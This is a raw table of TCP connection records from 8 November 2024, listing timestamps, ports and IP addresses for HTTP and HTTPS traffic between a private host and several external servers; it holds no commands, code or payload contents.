Nov 8, 2024 15:21:12.027436018 CET	49797	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.027450085 CET	443	49797	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.090682030 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.090701103 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.090713978 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.090750933 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.090754986 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.090764999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.090776920 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.090779066 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.090820074 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.090820074 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.092118979 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.092152119 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.092161894 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.092219114 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.092458010 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.092468977 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.092485905 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.092516899 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.092572927 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.092586040 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.092591047 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.092597961 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.092632055 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.092632055 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.092653990 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.092690945 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.092739105 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.092792988 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.175416946 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.175436974 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.175450087 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.175519943 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.175519943 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.226680040 CET	49798	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:12.226733923 CET	443	49798	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:12.226799011 CET	49798	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:12.227221012 CET	49799	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:12.227250099 CET	443	49799	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:12.227327108 CET	49799	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:12.227715969 CET	49798	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:12.227734089 CET	443	49798	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:12.227864027 CET	49799	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:12.227878094 CET	443	49799	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:12.245270967 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.245331049 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.245342970 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.245379925 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.245393038 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.245404959 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.245425940 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.245460033 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.245635986 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.245682001 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.246706963 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.246764898 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.246778011 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.246778965 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.246804953 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.246823072 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.246958017 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.246972084 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.246984959 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.246995926 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.246997118 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.247011900 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.247014046 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.247046947 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.247111082 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.247196913 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.247210979 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.247221947 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.247251034 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.247301102 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.329719067 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.329747915 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.329758883 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.329782963 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.329890966 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.329890966 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.399993896 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.400012016 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.400022984 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.400032997 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.400043011 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.400055885 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.400101900 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.400161028 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.402070999 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.402147055 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.402158022 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.402173996 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.402188063 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.402206898 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.402215958 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.402218103 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.402287960 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.402298927 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.402301073 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.402342081 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.402410984 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.402422905 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.402457952 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.402529001 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.402534962 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.402553082 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.402610064 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.402625084 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.402636051 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.402661085 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.402688980 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.402909040 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.403019905 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.449461937 CET	443	49790	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.450243950 CET	49790	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.450263977 CET	443	49790	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.450640917 CET	443	49790	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.455368996 CET	49790	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.455447912 CET	443	49790	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.455856085 CET	49790	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.484530926 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.484558105 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.484568119 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.484577894 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.484649897 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.484649897 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.499337912 CET	443	49790	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.536315918 CET	49800	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:12.536355972 CET	443	49800	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:12.536653042 CET	49800	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:12.536653042 CET	49800	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:12.536685944 CET	443	49800	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:12.554076910 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.554092884 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.554111004 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.554141045 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.554162979 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.554177046 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.554187059 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.554198027 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.554239988 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.554239988 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.554296017 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.554383039 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.554541111 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.554615021 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.556910992 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.556930065 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.556941032 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.556998968 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.557037115 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.557077885 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.557089090 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.557099104 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.557135105 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.557135105 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.557282925 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.557295084 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.557306051 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.557317972 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.557348967 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.557348967 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.557380915 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.557401896 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.557413101 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.557424068 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.557519913 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.557519913 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.583873034 CET	443	49790	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.583894014 CET	443	49790	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.583936930 CET	49790	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.583942890 CET	443	49790	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.584007978 CET	443	49790	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.584137917 CET	49790	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.585395098 CET	49790	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.585406065 CET	443	49790	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.585818052 CET	49801	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.585834980 CET	443	49801	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.585889101 CET	49801	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.586376905 CET	49801	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.586390972 CET	443	49801	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.638976097 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.638994932 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.639070988 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.639070988 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.639077902 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.639122963 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.639131069 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.639179945 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.709054947 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.709122896 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.709136009 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.709142923 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.709192991 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.709249973 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.709260941 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.709307909 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.709307909 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.711142063 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.711179972 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.711189985 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.711232901 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.711232901 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.711282969 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.711297035 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.711340904 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.711395979 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.711451054 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.711476088 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.711500883 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.711507082 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.711520910 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.711533070 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.711554050 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.711594105 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.711751938 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.711764097 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.711775064 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.711847067 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.711858034 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.711858034 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.711858034 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.711901903 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.768507004 CET	443	49797	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.769056082 CET	49797	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.769077063 CET	443	49797	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.770102978 CET	443	49797	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.770183086 CET	49797	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.770299911 CET	443	49795	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.778264046 CET	443	49794	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.779151917 CET	49794	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.779170036 CET	443	49794	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.779377937 CET	49795	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.779405117 CET	443	49795	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.780006886 CET	49797	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.780256033 CET	443	49794	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.780320883 CET	49794	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.780489922 CET	49797	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.780541897 CET	443	49795	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.780601025 CET	49795	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.780859947 CET	443	49797	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.780873060 CET	49794	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.780939102 CET	443	49794	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.781114101 CET	443	49796	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.781122923 CET	49794	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.781131029 CET	443	49794	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.781496048 CET	49796	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.781510115 CET	443	49796	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.781980991 CET	49795	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.782067060 CET	443	49795	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.782089949 CET	49795	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.782388926 CET	443	49796	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.782449007 CET	49796	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.782763004 CET	49796	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.782824993 CET	443	49796	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.783109903 CET	49796	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.783118010 CET	443	49796	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.793894053 CET	443	49793	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.796295881 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.796313047 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.796324015 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.796530008 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.796530008 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.797590971 CET	49793	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.797616959 CET	443	49793	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.797993898 CET	443	49793	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.798648119 CET	49793	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.798733950 CET	443	49793	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.798813105 CET	49793	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.823333979 CET	443	49795	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.834547043 CET	49795	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.834568024 CET	49796	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.834570885 CET	443	49795	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.834615946 CET	49794	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.834820986 CET	49797	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.834840059 CET	443	49797	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.839329004 CET	443	49793	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.842021942 CET	443	49798	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:12.842288971 CET	443	49799	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:12.842327118 CET	49798	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:12.842339039 CET	443	49798	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:12.842642069 CET	443	49798	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:12.843226910 CET	49799	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:12.843235016 CET	443	49799	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:12.844212055 CET	49798	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:12.844253063 CET	443	49799	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:12.844269991 CET	443	49798	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:12.844312906 CET	49799	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:12.844671965 CET	49799	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:12.844743967 CET	443	49799	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:12.864641905 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.864686012 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.864698887 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.864727020 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.864727020 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.864932060 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.864943027 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.864989996 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.864989996 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.864989996 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.866257906 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.866319895 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.866341114 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.866350889 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.866374016 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.866374016 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.866374016 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.866580963 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.866594076 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.866616011 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.866616011 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.866687059 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.866699934 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.866710901 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.866729975 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.866729975 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.866730928 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.866744041 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.866820097 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.866836071 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.866836071 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.866852045 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.866863966 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.866928101 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.866939068 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:12.866978884 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.866978884 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.866978884 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:12.879220963 CET	49795	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.879246950 CET	49797	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.895220041 CET	49799	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:12.895226955 CET	443	49799	23.221.22.206	192.168.2.8
Nov 8, 2024 15:21:12.895242929 CET	49798	443	192.168.2.8	23.221.22.206
Nov 8, 2024 15:21:12.910423994 CET	443	49795	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.910545111 CET	443	49795	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.910588026 CET	49795	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.910600901 CET	443	49795	13.107.246.57	192.168.2.8
Nov 8, 2024 15:21:12.910638094 CET	49795	443	192.168.2.8	13.107.246.57
Nov 8, 2024 15:21:12.911634922 CET	443	49794	13.107.246.57	192.168.2.8
